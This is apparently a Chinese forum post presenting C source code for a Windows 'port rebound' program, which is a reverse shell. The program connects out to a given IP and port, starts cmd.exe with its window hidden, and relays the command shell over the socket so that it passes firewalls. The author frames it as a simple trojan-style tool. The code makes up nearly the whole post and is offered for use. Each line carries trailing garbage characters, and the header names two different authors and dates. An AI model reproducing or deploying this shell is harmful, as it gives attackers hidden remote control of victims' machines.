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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Xhq7)/jp  
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/* ============================== 1ysQvz  
Rebound port in Windows NT ?-zuy US  
By wind,2006/7 q3<kr<SP  
===============================*/ En:>c  
#include :KgH7s}  
#include DXo]O}VF  
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#pragma comment(lib,"wsock32.lib") _jc_(;KPF  
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void OutputShell(); rlaeqG  
SOCKET sClient; 9O -2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; lm6hFvEZ  
y^"@$   
void main(int argc,char **argv) ~nTj't2R  
{ kU+|QBA@  
WSADATA stWsaData; ruQt0q,W3%  
int nRet; pCDN9*0/  
SOCKADDR_IN stSaiClient,stSaiServer;  vTgx7gP  
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if(argc != 3) 9b&|'BBW  
{ P}]o$nWT  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9vz\R-un  
return; PcBD;[cn  
} l>MDCqV  
HhL;64OYa  
WSAStartup(MAKEWORD(2,2),&stWsaData); ei<0,w[V1{  
0$]iRE;O]  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FieDESsX>  
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stSaiClient.sin_family = AF_INET; > 1(J  
stSaiClient.sin_port = htons(0); hJ$9Hb  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <sw@P":F  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f"KrPx!^b  
{ +U1 Ir5Lx  
printf("Bind Socket Failed!\n"); a%e`  
return; <:V~_j6P0  
} (c>g7d<>n  
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stSaiServer.sin_family = AF_INET; UrHndnqM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1_<x%>zG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 59O-"Sc[  
s(nT7x+W  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b,^Gj]7  
{ 0|RofL&o  
printf("Connect Error!"); wS);KLe3  
return; 4;I\% qes  
} 0_eqO'"  
OutputShell(); m/1FVC@*  
} {g! 7K  
: oXSh;\  
void OutputShell() 4/Y?eUQ  
{ N(Ru/9!y"  
char szBuff[1024]; ejlns ~  
SECURITY_ATTRIBUTES stSecurityAttributes; +U2lwd!j  
OSVERSIONINFO stOsversionInfo; 1!KROes4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~PI2G 9  
STARTUPINFO stStartupInfo; 9H/>M4RT  
char *szShell; J7* o%W*V  
PROCESS_INFORMATION stProcessInformation; X58U>4a  
unsigned long lBytesRead; 4%^z=%  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *^uK=CH1?(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~<?Zj  
stSecurityAttributes.lpSecurityDescriptor = 0; TIKkS*$  
stSecurityAttributes.bInheritHandle = TRUE; *3H=t$1G}  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Qz,2PO  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c1"wS*u  
&h0LWPl  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wX0D^ )NtF  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kU[hB1D5  
stStartupInfo.wShowWindow = SW_HIDE; "5&"Ij,/  
stStartupInfo.hStdInput = hReadPipe; ^o{{kju  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /@F'f@;  
0+e=s0s.  
GetVersionEx(&stOsversionInfo); "esuLQC  
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switch(stOsversionInfo.dwPlatformId) H-PVV&r   
{ n@8Y6+7i  
case 1: p L"{Uqi  
szShell = "command.com"; x ;|HT  
break; TKR#YJQ?K  
default: oFj_o  
szShell = "cmd.exe"; ^e8xg=8(  
break; {^z73Gxt,  
} 8YFG*HSa  
taE p   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r8s>s6vm  
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send(sClient,szMsg,77,0); rO7_K>g?  
while(1) )&@YRT\c?8  
{ rx2)uUbR  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9j:]<?D,A  
if(lBytesRead) kk /#&b2  
{ 'F d+1 3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `eM ZhY o  
send(sClient,szBuff,lBytesRead,0); 0f6o0@  
} d}\]!x3t  
else ryL1<u ~  
{ [)Nt;|U  
lBytesRead=recv(sClient,szBuff,1024,0); J<0{3pZY  
if(lBytesRead<=0) break; 9wYm(7M6  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~_fc=^o  
} f~NS{gL*  
} J8emz8J  
KL'1)G"OH  
return; o8R_ Ojh  
}
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